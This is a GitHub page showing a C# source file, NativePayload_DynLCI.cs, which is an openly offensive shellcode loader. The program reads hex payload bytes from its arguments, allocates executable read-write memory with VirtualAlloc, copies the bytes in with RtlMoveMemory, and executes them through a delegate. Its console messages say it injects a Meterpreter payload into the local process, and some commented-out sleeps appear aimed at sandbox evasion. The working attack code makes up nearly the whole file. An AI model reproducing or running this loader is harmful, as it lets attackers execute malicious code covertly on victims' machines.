-
Notifications
You must be signed in to change notification settings - Fork 4
Expand file tree
/
Copy pathNativePayload_DynLCI.cs
More file actions
77 lines (59 loc) · 2.64 KB
/
Copy pathNativePayload_DynLCI.cs
File metadata and controls
77 lines (59 loc) · 2.64 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
using System;
using System.Collections.Generic;
using System.Runtime.InteropServices;
using System.Text;
namespace NativePayload_DynLCI
{
class Program
{
[Flags]
public enum AllocationType
{
Commit = 0x00001000,
}
[Flags]
public enum MemoryProtection
{
ExecuteReadWrite = 0x0040,
}
[DllImport("kernelbase.dll")]
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, AllocationType flAllocationType, MemoryProtection flProtect);
[DllImport("ntdll.dll")]
private static extern bool RtlMoveMemory(IntPtr addr, byte[] pay, uint size);
private delegate float Execute_In_Memory();
private static IntPtr _ResultVA = IntPtr.Zero;
static void Main(string[] args)
{
try
{
/// .Net Framework 2.0 ;)
Console.WriteLine();
Console.ForegroundColor = ConsoleColor.DarkGray;
Console.WriteLine("NativePayload_DynLCI , Published by Damon Mohammadbagher , 2018-2019");
Console.ForegroundColor = ConsoleColor.Gray;
Console.WriteLine("NativePayload_DynLCI , Dynamic Local Code Invoke , Injecting Meterpreter Payload bytes into local Process");
Console.WriteLine();
string[] X = args[0].Split(',');
byte[] Xpayload = new byte[X.Length];
for (int i = 0; i < X.Length;) { Xpayload[i] = Convert.ToByte(X[i], 16); i++; }
//System.Threading.Thread.Sleep(60000);
_ResultVA = VirtualAlloc(IntPtr.Zero, (uint)Xpayload.Length, AllocationType.Commit, MemoryProtection.ExecuteReadWrite);
//System.Threading.Thread.Sleep(60000);
RtlMoveMemory(_ResultVA, Xpayload, (uint)Xpayload.Length);
System.Threading.Thread.Sleep(200);
object obj = (Execute_In_Memory)Marshal.GetDelegateForFunctionPointer(_ResultVA, typeof(Execute_In_Memory)).Clone();
Console.WriteLine();
Console.ForegroundColor = ConsoleColor.Gray;
Console.WriteLine("Bingo Meterpreter Session by Dynamic Local Code Invoke Method ;)");
Console.WriteLine();
System.Threading.Thread.Sleep(25);
object result = ((Execute_In_Memory)obj).DynamicInvoke(null).GetType();
Marshal.FreeHGlobal(_ResultVA);
_ResultVA = IntPtr.Zero;
}
catch
{
}
}
}
}